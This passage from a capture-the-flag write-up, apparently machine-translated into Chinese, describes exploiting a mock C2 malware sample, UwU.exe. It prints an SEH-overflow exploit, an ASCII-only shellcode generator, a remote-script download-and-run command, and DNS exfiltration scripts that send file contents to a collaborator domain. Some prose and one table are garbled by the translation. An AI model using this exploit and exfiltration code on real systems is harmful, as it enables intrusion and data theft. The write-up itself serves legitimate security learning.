  int v20; // [esp+13B4h] [ebp-18h]
  char *base62_alphabet; // [esp+13B8h] [ebp-14h]
  int v22; // [esp+13BCh] [ebp-10h]
  _EXCEPTION_REGISTRATION_RECORD *v23; // [esp+13C0h] [ebp-Ch]
  char *v24; // [esp+13C4h] [ebp-8h]
  int v25; // [esp+13C8h] [ebp-4h]

  v25 = -1;
  v3 = NtCurrentTeb()->NtTib.ExceptionList;
  v24 = byte_5575CBE6;
  v23 = v3;
  v4 = alloca(5056);
  v18[1255] = (int)a1;
  v20 = 0;
  v18[1253] = 62;
  base62_alphabet = (char *)operator new(0x40u);
  v18[1254] = 63;
  v18[1249] = (int)base62_alphabet;
  strcpy(base62_alphabet, "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz");// base62
  v25 = 1;
  seed = std::_Random_device(a2, a3);
  v18[1248] = -1;
  i = 1;
  v18[0] = seed;
  do                                            // Initialise the generator from a seed
  {
    seed = i + 1812433253 * (seed ^ (seed >> 30));// Initialise Mersenne Twister with constant 1812433253
    v18[i++] = seed;
  }
  while ( i < 0x270 );
  *a1 = 0;
  a1[4] = 0;
  a1[5] = 15;
  *(_BYTE *)a1 = 0;
  v17 = 624;
  a1[4] = 0;
  *(_BYTE *)a1 = 0;
  v20 = 1;
  v18[1256] = (int)&v17;
  v8 = 6;
  v18[1257] = 32;
  v18[1258] = -1;
  do
  {
    extracted_number = get_next_mod_62(62);     // Retrieve next Mersenne PRNG number mod 62
    v10 = a1[5];
    v11 = a1[4];
    LOBYTE(v22) = base62_alphabet[extracted_number];    // Used number as offset in base62 alphabet
    if ( v11 >= v10 )
    {
      LOBYTE(v19) = 0;
      sub_557595E0(v11, v19, v22);
    }
    else
    {
      a1[4] = v11 + 1;
      v12 = a1;
      if ( v10 >= 0x10 )
        v12 = (_DWORD *)*a1;
      v13 = (char *)v12 + v11;
      v14 = v22;
      v13[1] = 0;
      *v13 = v14;
    }
    --v8;
  }
  while ( v8 );
  sub_5575B048(base62_alphabet);
  return a1;
}

由于存在诸如1812433253. 此时,我又掉进了另一个热闹的兔子洞。显然,该程序的 Mersenne Twister 使用的常量与用于加密多个日本游戏文件的常量相匹配。这让我找到了一个游戏模组的解密脚本,其中包含以下评论:

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

UwU 确实。由于我对一个有文化的人的信仰,我又花了几个小时来追逐这个错误的线索。最终,我决定该程序仅使用 Mersenne Twister 来生成随机字符,仅此而已。

由于这些值确实是(伪)随机生成的,也许它可以作为未来与服务器通信的加密密钥,这是 C2 框架使用的一种常见模式。我尝试了 base62 解密参数,但只得到了胡言乱语。接下来,我想起了网站上的仪表板提供了五个主 UwUID:

Here is a list of Bot Master UwUIDs:
- 715cf1a6-c0de-4a55-b055-c0ffeec0ffee
- 715cf1a6-baba-4a55-b0b0-c0ffeec0ffee
- 715cf1a6-510b-4a55-ba11-c0ffeec0ffee
- 715cf1a6-dead-4a55-a1d5-c0ffeec0ffee
- 715cf1a6-51de-4a55-be11-c0ffeec0ffee

但是,这些 UwUID 看起来与从注册 HTTP 请求返回的 UwUID 不同,例如

oVSFHfzJoQSfTP3PphqGSf7Lug%2bHTfrSrwHXRv2c9ATWGfma

.这个 base64 字符串被解码为 36 个字节——与纯文本中的 Bot Master UwUID 的字节数相同。

也许 base64 字符串只是与模式匹配的明文 UwUID 的编码版本<4 HEX BYTES>-<2 HEX BYTES>-<2 HEX BYTES>-<2 HEX BYTES>-<6 HEX BYTES>。我怎么能解密它们呢?

我开始POST /register.php用不同的参数对请求进行模糊测试。一段时间后我注意到,如果我保持参数相同但不断重复请求,我最终会再次获得相同的加密 UwUID。此外,在模糊测试太多次之后,我以某种方式使加密的 UwUID 生成器崩溃(组织者不得不重置它)并开始只接收 .base64MDAwMDA=解码为00000.

在多次尝试失败后,我开始怀疑我是否错过了一些关键信息。自从我从 下载二进制文件后http://<IP ADDRESS>:18080/super-secret-palindrome-long-foldername/UwU.exe,我开始模糊测试http://<IP ADDRESS>:18080/super-secret-palindrome-long-foldername/<FUZZ>。事实证明,这http://<IP ADDRESS>:18080/super-secret-palindrome-long-foldername/是一个简单的目录列表,其中包含README.txt.

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

我打开自述文件,发现我遗漏了什么。

恭喜,PALINDROME 会员!您现在是我们最新恶意软件 UwU.exe 的骄傲 UwUser!

在您的受害者上运行恶意软件之前,重要的是受害者是一个软目标。即,应首先禁用 win10 漏洞利用缓解措施(请参阅https://docs.microsoft.com/en-us/windows/security/threat-protection/overview-of-threat-mitigations-in-windows-10#table- 2configurable-windows-10-mitigations-designed-to-help-protect-against-memory-exploits)。Win 8.1 及以下都是公平游戏!

运行恶意软件后,您将看到几个选项。即:

  1. 注册bird
  2. 发信息
  3. 接收消息
  4. 显示终止开关
  5. 出口

您应该首先向 C2 服务器(Birdwatcher)注册恶意软件(Bird),该服务器就是这样的服务器。

之后,您就可以发送和接收消息,与其他注册的小鸟进行交流!只需将消息发送到他们的 UwUID(将在注册时分配给您)。

每个 C2 服务器都有几个 Big Birds 作为 bot master,它们本质上是您收到的恶意软件的相同副本,但具有仅适用于 Big Birds 的特殊终止开关。

此外,您无需担心机器人大师是否离线。它们将自动重启并重新连接到 C2 服务器!

这为我澄清了一些事情。我可以通过向机器人管理员发送消息来联系他们,所以也许我可以发送某种有效载荷来控制他们。我在 Python 中建立了自己的假 C2 服务器来测试这个理论。

from http.server import HTTPServer, BaseHTTPRequestHandler
from struct import pack

## from http.server import SimpleHTTPRequestHandler
import datetime

port = 8081

payload = b'A' * 2000

class myHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

        # Send the html message
        if self.path == '/register.php':
            # self.wfile.write(b'A' * 100000)
            self.wfile.write(
                b'40K8avCKsxKhO6OJ4Am4bq3bqEW6PvfG5hfpPKLeskDqZPHc')
        elif self.path == '/receive.php':
            self.wfile.write(payload)
        return


class StoppableHTTPServer(HTTPServer):
    def run(self):
        try:
            self.serve_forever()
        except KeyboardInterrupt:
            pass
        finally:
            # Clean-up server (close socket, etc.)
            self.server_close()


if __name__ == '__main__':
    server = HTTPServer(('127.0.0.1', 8081), myHandler)
    server.serve_forever()

我启动了服务器并开始从我的本地UwU.exe. 然而,什么也没发生。WireShark 告诉我消息是由 接收的UwU.exe,但由于某种原因它没有解析它们。通过调试程序,查看IDA中的“Receive Messages”功能,发现它在收到消息后进行了如下检查:

    if ( (_DWORD)v82 != 3
      || ((v46 = v6->m128i_i8[0] < 0x55u, v6->m128i_i8[0] != 85)    // Check if first character is U
       || (second_char = v6->m128i_i8[1], v46 = (unsigned __int8)second_char < 0x77u, second_char != 119)   // Check if second character is w
       || (third_char = v6->m128i_i8[2], v46 = (unsigned __int8)third_char < 0x55u, third_char != 85) ? (v49 = v46 ? -1 : 1) : (v49 = 0),   // Check if third character is U
          is_valid_message = 1,
          v49) )
    {
      is_valid_message = 0;
    }
    if ( HIDWORD(v82) >= 0x10 )
    {
      v50 = HIDWORD(v82) + 1;
      if ( (unsigned int)(HIDWORD(v82) + 1) >= 0x1000 )
      {
        v18 = *(_DWORD *)(v81.m128i_i32[0] - 4);
        v50 = HIDWORD(v82) + 36;
        if ( v81.m128i_i32[0] - v18 - 4 > 0x1F )
          goto LABEL_141;
      }
      v66 = (__m128i *)v50;
      sub_5575B048(v18);
    }
    if ( is_valid_message )
    {
      <COPY RESPONSE DATA TO BUFFER>

这意味着消息必须与格式匹配UwU<MESSAGE>。我更正了我的服务器代码并再次尝试。这一次,我崩溃了:

(3978.edc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify timestamp for C:\Users\Eugene\Desktop\tisc\10\UwU_unpacked.exe
eax=41414141 ebx=004854a0 ecx=41414141 edx=41414142 esi=0019fcb4 edi=000001ff
eip=55752d5a esp=0019fc80 ebp=0019fcac iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
UwU_unpacked+0x2d5a:
55752d5a 8b49fc          mov     ecx,dword ptr [ecx-4] ds:002b:4141413d=????????
0:000> !exchain
0019fca0: 41414141
Invalid exception stack at 41414141
0:000> g
(3978.edc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=773985f0 esi=00000000 edi=00000000
eip=41414141 esp=0019f648 ebp=0019f668 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
41414141 ??              ???

我触发了 SEH 溢出,这是最容易利用的溢出之一。UwU.exe更让我兴奋的是,由于 MPRESS 打包程序,我确定它不包含任何内存保护,如 DEP 或 ASLR。我很容易地生成了一个本地的概念验证来通过消息中的溢出来执行 Meterpreter shellcode。首先,我确定被覆盖的 SEH 地址的偏移量是 36。接下来,我使用了一个简单的POP POP RET有效负载和一条JMP 0x08指令来获取我的 shellcode,就像在基本教程中一样。然而,事情绝不会那么容易。尽管该漏洞在本地有效,但当我使用POST /send.php端点将其发送给机器人主控 UwUID 时,什么也没发生。

经过几个充满焦虑的小时并与组织者确认网络运行正常后,我决定这是一个死胡同。C2 端点似乎在过滤我的有效负载,但我无法找出它是如何过滤的,除非我使用真正的 C2 将消息发送到我自己的实例。这需要一个未加密的 UwUID。

我记得 base64 解码的加密 UwUID 与未加密的明文机器人主 UwUID 具有相同的字节数 – 36。这表明 C2 使用了流密码,因为流密码通过将明文的每个字节与密钥流进行异或来生成密文,创建与明文长度相同的密文。如果C2使用AES这样的分组密码,明文在加密前会被填充到块大小长度,导致密文长度大于明文长度。

我开始从黑盒的角度研究破解流密码的各种方法。Stack Overflow再一次帮助了我。其中一个答案描述了针对 RC4 的已知明文攻击。如果加密服务每次加密时都使用相同的密钥,则所有输入的密钥流都相同。由于每个密文只是明文 XOR 密钥流,我可以通过对它们的密文进行异或来检索两个明文的 XOR。

KS = RC4(K)
C1 = KS XOR M1
C2 = KS XOR M2
C1 XOR C2 = (KS XOR M1) XOR (KS XOR M2) = M1 XOR M2

我通过使用相同的参数注册两次以获得两个不同的密文来尝试这一点。例如,使用

a=roVwGx&b=gD4ZuM&c=pFvulv&d=XH2CPq&e=I3Yonk

我得到

oVSFHfzJoQSfTP3PphqGSf7Lug+HTfrSrwHXRv2c9ATWGfma
和
iVrBK8DOiQrbesHIjhTCf8LMkgHDe8bVhw+TcMGb3AqSL8Wd

接下来,我对它们进行 base64 解码并将它们异或在一起。这返回了(.D6<.(.D6<.(.D6<.(.D6<.(.D6<.(.D6<.一个重复的 6 个字节序列的明文:

28 0e 44 36 3c 07 
28 0e 44 36 3c 07 
28 0e 44 36 3c 07 
28 0e 44 36 3c 07 
28 0e 44 36 3c 07 
28 0e 44 36 3c 07

这是什么意思?由于随机生成的参数每个由 6 个字节组成,因此我决定再次尝试对每个参数进行异或运算。:神秘的 6 个字节只是pFvulv(参数c)与XH2CPq(参数e)异或。这意味着 C2 密码在注册时随机选择一个参数并重复 6 次以创建明文。

然而,虽然这解释了为什么加密的 UwUID 会随着时间的推移而重复,但这看起来与明文 UwUID 完全不同。我还检索到 密钥流通过各自的密文进行异或明文,但没有得到什么有趣的事。

进一步思考,我回忆起当我崩溃 C2 加密功能时的一个有趣观察。在等待组织者解决问题时,我尝试从远程 DigitalOcean Droplet 实例注册并成功检索到有效的加密 UwUID,即使我无法从我的家庭网络这样做。这表明加密依赖于 IP 地址。我登录到远程实例并尝试使用我一直使用的完全相同的参数生成加密的 UwUID。它返回的加密 UwUID 与我从家庭网络生成的 UwUID 完全不同,证实了 IP 地址的预感。我重复了相同的过程来检索密钥流,并将其与我的家庭网络的密钥流进行比较。

Keystream 1: d5 10 a7 32 c3 bd d1 46 e9 68 96 bc d0 5c f0 69 93 b9 ca 48 f6 6e 96 a4 84 43 f2 3f 9d e8 d7 12 a6 6e 95 e8
Keystream 2: d1 12 f3 68 90 bf d1 42 e9 39 91 b9 d6 5c f0 3c 92 bd ca 49 f1 38 96 a4 df 47 a1 33 91 ea 84 42 a0 6c 95 ec

我注意到一些字节在两个密钥流中的相同位置匹配。其中大多数与未加密的主 UwUID 中的破折号字符处于相同的位置。

Keystream 1: d5 10 a7 32 c3 bd d1 46 e9 68 96 bc d0 5c f0 69 93 b9 ca 48 f6 6e 96 a4 84 43 f2 3f 9d e8 d7 12 a6 6e 95 e8
Keystream 2: d1 12 f3 68 90 bf d1 42 e9 39 91 b9 d6 5c f0 3c 92 bd ca 49 f1 38 96 a4 df 47 a1 33 91 ea 84 42 a0 6c 95 ec
MasterUwUID: 7  1  5  c  f  1  a  6  -  5  1  d  e  -  4  a  5  5  -  b  e  1  1  -  c  0  f  f  e  e  c  0  f  f  e  e

这强烈表明双层已知明文攻击正在发挥作用。用于加密随机 6 字符参数值的每个 IP 地址特定的密钥流本身就是一个密文,它是通过将属于 IP 地址的明文 UwUID 与主密钥流进行异或而生成的。由于所有明文 UwUID 在相同位置都有破折号字符,因此它们特定于 IP 地址的密钥流也将在这些位置具有相同的 XOR 结果。

MASTER_KS = RC4(MASTER_K)
KS1 = MASTER_KS XOR UWUID1
KS2 = MASTER_KS XOR UWUID2
C1 = KS1 XOR RANDOMLY_SELECTED_PARAMETER_VALUE1
C2 = KS2 XOR RANDOMLY_SELECTED_PARAMETER_VALUE2

这解释了为什么当我从不同的 IP 地址发送相同的参数值时,它们的加密 UwUID 永远不会匹配。但是我怎么能检索主密钥流呢?除了破折号,我知道明文 UwUID 是十六进制数字字符,即0-9a-f. 有了足够多的单个密钥流样本,我可以强制所有可能的主密钥流字节并根据位置 x 处的候选字节与位置 x 处的所有密钥流字节是否总是返回 ASCII 范围内的字节来选择正确的字节0-9a-f

使用我最喜欢的 VPN ExpressVPNNordVPN,我开始工作了。我从 13 个不同的 IP 地址生成并检索了 13 个不同的密钥流,然后使用 Cyber​​Chef XOR 蛮力过滤器手动检查匹配的字节。一个字节一个字节地,密钥流出现了。幸运的是,我意识到主密钥流实际上是一系列 6 个重复字节,e7 71 c4 0a a5 89. 接下来,我将各个密钥流与主密钥流进行异或。令我高兴的是,这导致了合法的明文 UwUIds

使用我的 IP 地址的明文 UwUID,我使用POST /send.php端点发送了一条消息,然后POST /receive.php使用加密的 UwUID检查端点。消息传来了!现在,我终于可以弄清楚为什么我的有效载荷不起作用了。我立即意识到任何超过特定长度的有效载荷都会导致一条空消息。我逐渐将最大长度缩小到 328。另外,前 32 个字节被重写为UwUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU. 最后,还有一些像\x25\x26\x2b. 幸运的是,这似乎很容易控制。

或者我是这么想的。不久之后,我收到了组织者的通知,他们已经修复了服务器中的错误。当我重试接收端点时,我意识到坏字节的数量已经大大增加了——从\x80以后的任何字节都被清空了。换句话说,我必须编写纯 ASCII 的 shellcode

多亏了Offensive Security Exploit Developer (OSED) 课程,我对编写 Windows shellcode 相当满意,但我以前从未遇到过如此严格的限制。网上有一些关于纯 ASCII 的 Linux shellcode 的文章,但我找不到适合我的长度要求的 Windows。

在最初的恐慌之后,我确定了我的行动计划。首先,我注意到,UwU.exe进口GetProcAddressGetModuleHandleW,这样我就可以从固定地址的可执行文件的导入地址表间接引用的那些功能(记得有像ASLR没有内存保护),并利用它们来获取的地址WinExecKernel32。之后,我可以WinExec使用我想要的命令进行调用。为了构建我的 shellcode,我大量修改我以前用于 OSED的 Windows shellcode 生成脚本。在做了一些研究之后,我还发现了一篇有用的Linux ASCII shellcode 文章,其中突出了几个有用的小工具:

## h4W1P - push   0x50315734                # + pop eax -> set eax
## 5xxxx - xor    eax, xxxx                 # use xor to generate string
## j1X41 - eax <- 0                         # clear eax
## 1B2   - xor    DWORD PTR [edx+0x32], eax # assign value to shellcode
## 2J2   - xor    cl, BYTE PTR [edx+0x32]   # nop
## 41    - xor al, 0x31                     # nop
## X     - pop    eax
## P     - push   eax

特别是,xor DWORD PTR [edx+0x32], eax当我找不到合适的 ASCII 替代品时,我可以用来解码非 ASCII 指令。

最后,我找到了最小的无空 WinExec shellcode用作参考。

有了这些工具,我开始制作我的 shellcode。从顶部开始,我代替我原来的POP POP RET指针0x55758b550x55756e78它指出,pop ebx ; pop ebp ; retn 0x0004以满足ASCII字符的要求。我还用纯 ASCII JMP 0x8( eb 06)替换了非 ASCII JNS 0x8( 79 06)。之后,我将xor DWORD PTR [edx+0x32], eax解码器小工具用于我的 shellcode。我的初稿严重依赖这个小工具,并没有替换许多非 ASCII 指令。我最初也尝试使用GetModuleHandleWGetProcAddress解析WinExec. 但是,由于某种原因,GetProcAddress即使根本无法工作GetModuleHandleW完美地工作。我怀疑这是一些奇怪的宽字符串与常规字符串的错误,但即使在使用GetLastError. 也可能是由于导入地址过滤器保护,但我无法确认该flag是否已打开。

放弃了GetProcAddress,我决定将Kernel32我检索到的基地址传递给GetModuleHandleW我的参考 shellcode 中使用的函数搜索循环。经过大量努力,我最终让我的拼凑有效载荷工作并执行了一个简单的calc. 接下来,我将其修改powershell iex $(irm http://<IP ADDRESS>)为下载并执行远程 PowerShell 脚本。虽然这在我的本地实例上有效,但当我在主 UwUID 上尝试时它失败了——这是一种越来越常见的模式。由于我在没有任何机器人大师可见的情况下工作,我在试图找出它失败的原因时遇到了巨大的困难。经过几个小时的沮丧之后,我决定专注于清理我的 shellcode——也许是凌乱的 shellcode 导致了问题。

首先,我对解码小工具的过度依赖产生了许多不必要的指令,减少了我的WinExec命令可用的字节数。我咬紧牙关,试图将一些编码的字节转换为真正的 ASCII shellcode。我发现了一些有用的小工具,可以用它们的 ASCII 等价物替换这些指令。

非 ASCII 字节非 ASCII 指令ASCII 字节ASCII 指令
01铁添加esi,edi;57 03 34 24推送 edi; 添加 esi, DWORD PTR [esp];
8b 74 1f 1cmov esi, DWORD PTR [edi+ebx*1+0x1c];5e 33 74 1f 1c流行音乐;xor esi, DWORD PTR [edi+ebx*1+0x1c];
31分贝异或 ebx, ebx;53 33 1 分 24推 ebx; xor ebx, DWORD PTR [esp];

我唯一无法替换的非 ASCII 指令是CALLJMP指令和否定短指令,因此我继续依赖解码器小工具来处理这些指令。由于这些优化,我减少了三分之二的解码器小工具并释放了 40 个字节——这在 shellcode 中是一笔财富。现在我的命令参数有 76 个字节。我还修补了一个错误,Windows 7 需要一个有效的uCmdShow参数WinExec——Windows 8 和 10 优雅地处理任何无效的uCmdShow参数。我的新的和改进的 shellcode 工作得更可靠。

##!/usr/bin/python3
import argparse
import keystone as ks
from struct import pack

def to_hex(s):
    retval = list()
    for char in s:
        retval.append(hex(ord(char)).replace("0x", ""))
    return "".join(retval)


def push_string(input_string):
    rev_hex_payload = str(to_hex(input_string))
    rev_hex_payload_len = len(rev_hex_payload)

    instructions = []
    first_instructions = []
    null_terminated = False
    for i in range(rev_hex_payload_len, 0, -1):
        # add every 4 byte (8 chars) to one push statement
        if ((i != 0) and ((i % 8) == 0)):
            target_bytes = rev_hex_payload[i-8:i]
            instructions.append(f"push dword 0x{target_bytes[6:8] + target_bytes[4:6] + target_bytes[2:4] + target_bytes[0:2]};")
        # handle the left ofer instructions
        elif ((0 == i-1) and ((i % 8) != 0) and (rev_hex_payload_len % 8) != 0):
            if (rev_hex_payload_len % 8 == 2):
                first_instructions.append(f"mov al, 0x{rev_hex_payload[(rev_hex_payload_len - (rev_hex_payload_len%8)):]};")
                first_instructions.append("push eax;")
            elif (rev_hex_payload_len % 8 == 4):
                target_bytes = rev_hex_payload[(rev_hex_payload_len - (rev_hex_payload_len%8)):]
                first_instructions.append(f"mov ax, 0x{target_bytes[2:4] + target_bytes[0:2]};")
                first_instructions.append("push eax;")
            else:
                target_bytes = rev_hex_payload[(rev_hex_payload_len - (rev_hex_payload_len%8)):]
                first_instructions.append(f"mov al, 0x{target_bytes[4:6]};")
                first_instructions.append("push eax;")
                first_instructions.append(f"mov ax, 0x{target_bytes[2:4] + target_bytes[0:2]};")
                first_instructions.append("push ax;")
            null_terminated = True
            
    instructions = first_instructions + instructions
    asm_instructions = "".join(instructions)
    return asm_instructions


def ascii_shellcode(breakpoint=0):
    command = "calc"
    if len(command) > 76:
        exit(1)
    command += " " * (76 - len(command)) # amount of padding available
    asm = [
        # at start, eax, esi, edi are nulled
        "   start:                               ",
        f"{['', 'int3;'][breakpoint]}            ",
        "       pop     edx ;",
        "       pop     edx ;",                                     # Pointer to shellcode in edx
        "       xor     al, 0x7f;",                                 # inc eax to 0x80 which xors out the ones that are out of reach
        "       inc     eax;",
        "       xor     dword ptr [edx+0x6e], eax;",                # correct ff d7 call   edi
        "       xor     dword ptr [edx+0x6f], eax;",                # correct ff d7 call   edi
        "       push    0x7f;",                                     # dont need ebx, use eax
        "       pop     ebx;",
        "       xor     dword ptr [edx+ebx+0x24], eax;",            # correct ad lods   eax,dword ptr ds:[esi]
        "       xor     dword ptr [edx+ebx+0x29], eax;",            # correct 75 ed jne    0x68
        "       push    0x7f;",
        "       add     ebx, dword ptr [esp];",
        "       xor     dword ptr [edx+ebx+0x27], eax;",            # correct ff d7 call   edi    msiexec
        "       xor     dword ptr [edx+ebx+0x28], eax;",            # correct ff d7 call   edi
        "       xor     dword ptr [edx+ebx+0x7f], eax;",            # correct ff d7 call   edi
        "       xor     dword ptr [edx+ebx+0x7f], eax;",            # correct ff d7 call   edi
        "       push    0x53736046;",                               # 60 should xor with 80 to get e0
        "       pop     ebx;",                                      # IAT address pointer to GetModuleHandle in ebx
        "       push    0x01014001;",
        "       add     ebx, dword ptr [esp];",
        "       add     ebx, dword ptr [esp];",
        "       push    0x01010101;",                               # use eax to xor for null bytes in wide string and invalid chars in GetModuleHandle address pointer
        "       pop     eax;",                                      # use eax to xor for null bytes in wide string
        "       xor     edi, dword ptr [ebx];",                     # dereference IAT, get GetModuleHandle in edi       
        "       push    esi;",                                      # nulls for end of wide string
        "       push    0x01330132;",                               # push widestring "kernel32" onto stack
        "       xor     dword ptr [esp], eax;",
        "       push    0x016d0164;",                   
        "       xor     dword ptr [esp], eax;",
        "       push    0x016f0173;",                   
        "       xor     dword ptr [esp], eax;",
        "       push    0x0164016a;",                   
        "       xor     dword ptr [esp], eax;",
        "       push    esp;",
        "       call    edi;",                                      # call GetModuleHandle(&"kernel32")
        "       push    eax;",                                      # Kernel32 base address in eax
        "       pop     edi;",
        "       push    esi;",                                      # null bytes
        "       pop     ebx;",                                  
        "       xor     ebx, dword ptr [edi + 0x3C];",              # ebx = [kernel32 + 0x3C] = offset(PE header)
        "       push    ebx;",                                      # null out bytes on top of stack
        "       xor     ebx, dword ptr [esp];",
        "       pop     eax;",
        "       xor     ebx, dword ptr [edi + eax + 0x78];",        # ebx = [PE32 optional header + offset(PE32 export table offset)] = offset(export table)
        "       xor     esi, dword ptr [edi + ebx + 0x20];",        # esi = [kernel32 + offset(export table) + 0x20] = offset(names table)
        "       push    edi;",
        "       add     esi, dword ptr [esp];",                     # esi = kernel32 + offset(names table) = &(names table)
        "       xor     dword ptr [esp], edi;",                     # null out bytes on top of stack
        "       pop     edx;",
        "       xor     edx, [edi + ebx + 0x24];",                  # edx = [kernel32 + offset(export table) + 0x24] = offset(ordinals table)
        push_string("WinE"),
        "       pop     ecx;",                                      # ecx = 'WinE'
        "   find_winexec_x86:"
        "       push    ebp;",
        "       xor     dword ptr [esp], ebp;",                     # null out bytes on top of stack
        "       AND     ebp, dword ptr [esp];",                     # nulls out ebp for xor operation
        "       xor     BP, WORD ptr [edi + edx];",                 # ebp = [kernel32 + offset(ordinals table) + offset] = function ordinal
        "       INC     edx;",
        "       INC     edx;",                                      # edx = offset += 2
        "       lodsd;",                                            # eax = &(names table[function number]) = offset(function name)
        "       CMP     [edi + eax], ecx; "                         # *(DWORD*)(function name) == "WinE" ?
        "       JNE     find_winexec_x86;",
        "       pop     esi;",
        "       xor     esi, dword ptr [edi + ebx + 0x1C];",        # esi = [kernel32 + offset(export table) + 0x1C] = offset(address table)] = offset(address table)
        "       push    edi;",
        "       add     esi, dword ptr [esp];",                     # esi = kernel32 + offset(address table) = &(address table)
        "       push    ebp;",
        "       add     ebp, dword ptr [esp];",
        "       add     edi, [esi + ebp * 2];",                     # edi = kernel32 + [&(address table)[WinExec ordinal]] = offset(WinExec) = &(WinExec)
        "       push    0x31;",                                     # null out eax
        "       pop     eax;",
        "       xor     al, 0x31;",
        "       push    eax;",
        push_string(command),                                       # set up args for WinExec
        "       push    esp;",
        "       pop     ebx;",
        "       inc     eax;",
        "       push    eax;",
        "       push    ebx;",
        "       inc     ecx;",                                      # NOP
        "       inc     ecx;",                                      # NOP
        "       CALL    edi;",                                      # WinExec(&("calc"), 1);
        # If you like graceful exits
        # "       push   0x53736016;",                            
        # "       pop    ebx;",                                       
        # "       push 0x01014001;",
        # "       add ebx, dword ptr [esp];",
        # "       add ebx, dword ptr [esp];",                         # ebx = IAT address pointer to TerminateProcess
        # "       push eax;",                                     
        # "       xor     eax, dword ptr [esp];",                     # uExitCode = 0
        # "       push    eax;",
        # "       and     edi, dword ptr [esp];",                     # null out edi
        # "       xor    edi, dword ptr [ebx];",                      # edi = *TerminateProcess
        # "       dec eax;",                                          # hProcess = 0xFFFFFFFF
        # "       push eax;",
        # "       inc ecx;",                                          # NOP
        # "       call edi;",                                         # TerminateProcess(0xFFFFFFFF, 0)
    ]
    return "\n".join(asm)


def main(args):
    shellcode = ascii_shellcode( args.debug_break)

    eng = ks.Ks(ks.KS_ARCH_X86, ks.KS_MODE_32)
    encoding, _ = eng.asm(shellcode)

    url_encoded_payload = ""
    payload = b'UwU'                                        # magic bytes
    payload += b'A' * 29                                    # offset
    payload += pack("<L", (0x41410679))                     # jns    0x8
    payload += pack("<L", (0x55756e78))                     # pop ebx ; pop ebp ; retn 0x0004
    payload += bytes(encoding)                              # shellcode
    payload += b"A" * (328 - len(payload))                  # filler
    for enc in payload:
        url_encoded_payload += "%{0:02x}".format(enc)

    print("url_encoded_payload = " + url_encoded_payload
        .replace("%ff%d7", "%7f%57")
        .replace("%8b","%0b")
        .replace("%fe","%7e")
        .replace("%b7","%37")
        .replace("%ad","%2d")
        .replace("%ee","%6e")
        .replace("%ae","%2e")
        .replace("%ed", "%6d"))


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="Creates shellcodes compatible with the OSED lab VM"
    )

    parser.add_argument(
        "-d",
        "--debug-break",
        help="add a software breakpoint as the first shellcode instruction",
        action="store_true",
    )

    args = parser.parse_args()

    main(args)

这一次,我有足够的字节ping <BURP COLLABORATOR DOMAIN>在 bot master 上运行命令。谢天谢地,我收到了回复!

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

我兴奋地开始尝试其他有效负载,例如远程 PowerShell 脚本执行msiexec等。然而,尽管我进行了多次尝试,但除了 DNS 请求之外,没有一个到达我的服务器。随着越来越恐惧的感觉,我开始接受这意味着什么:挑战要求我使用 DNS 渗漏。我通过发送一系列命令(如powershell Add-Content test spaceraccoonpowershell Add-Content test .<BUR PCOLLABORATOR URL>、 和powershell "ping $(type test)")来确认这一点,这导致 DNS pingback 位于spaceraccoon.<BURP COLLABORATOR DOMAIN>

2021年信息安全挑战赛完整报道: 3万美元的大逃杀

虽然有好消息——我可以写入任意文件——这进一步证实了 DNS 渗漏是可行的方法。我开始编写一个脚本来自动化这种渗漏。为了检索命令的输出,我将命令的输出写入了一个工作文件,然后附加了我的 burpcollaborator 域。接下来,我使用 PowerShell 替换了所有与 DNS 不兼容的字符。最后,我 ping 文件中的连接域并希望检索到输出。

例如,要检索当前工作目录,我运行:

def exfil_working_file():
    send_command("powershell Add-Content {} .{}. -NoNewLine".format(WORKING_FILE, COLLABORATOR_INSTANCE))
    send_command("powershell Add-Content {} burpcollaborator.net -NoNewLine".format(WORKING_FILE))
    send_command("powershell ping $(type {})".format(WORKING_FILE))
    delete_file(WORKING_FILE)

def get_pwd():
    send_command("cmd /c \"cd > {}\"".format(WORKING_FILE))
    send_command("powershell \"(Get-Content {}).replace(':', '-') | Set-Content {} -NoNewLine\"".format(WORKING_FILE, WORKING_FILE))
    send_command("powershell \"(Get-Content {}).replace('\\', '-') | Set-Content {} -NoNewLine\"".format(WORKING_FILE, WORKING_FILE))
    send_command("powershell \"(Get-Content {}).replace(' ', '.') | Set-Content {} -NoNewLine\"".format(WORKING_FILE, WORKING_FILE))
    exfil_working_file()

我收到了 pingback C--Users-Administrator-AppData-LocalLow.<BURP COLLABORATOR DOMAIN>,我将其转换回C:\Users\Administrator\AppData\LocalLow.

由于主机器人包含UwU.exe带有flag的特殊实例,因此我的目标是定位并窃取它。我开始枚举当前工作目录中的文件:

def get_file_name(index):
    send_command("powershell \"Add-Content {} $(ls)[{}].Name -NoNewLine\"".format(WORKING_FILE, index))
    send_command("powershell \"(Get-Content {}).replace('_', '-') | Set-Content {} -NoNewLine\"".format(WORKING_FILE, WORKING_FILE))
    exfil_working_file()

这个泄露的文件名MicrosoftTemp1_run_uwu1.bat。这看起来很有趣。为了窃取文件,我首先使用certutil一个特殊的未记录选项将它们转换为 base64 。然后我更换了不兼容的base64字符,如+/-.分别。不幸的是,我不能+直接使用,因为它\x26是一个坏字符,所以我用功能等效的[char]43. 我还删除了所有尾随=字符。接下来,我一次以 50 个 base64 字符为单位提取文件。为确保按正确顺序获取块,我在 base64 字符前后添加了块编号作为原始校验和。

def delete_file(filename):
    send_command('powershell del {}'.format(filename))
    
def get_file_length(filename):
    send_command("powershell \"Add-Content {} $(Get-Content {}).length -NoNewLine\"".format(WORKING_FILE, filename))
    exfil_working_file()

def exfil_file(filename):
    base64_file = "e"
    block_size = 50

    # delete base64 file
    delete_file(base64_file)

    # create base64 file
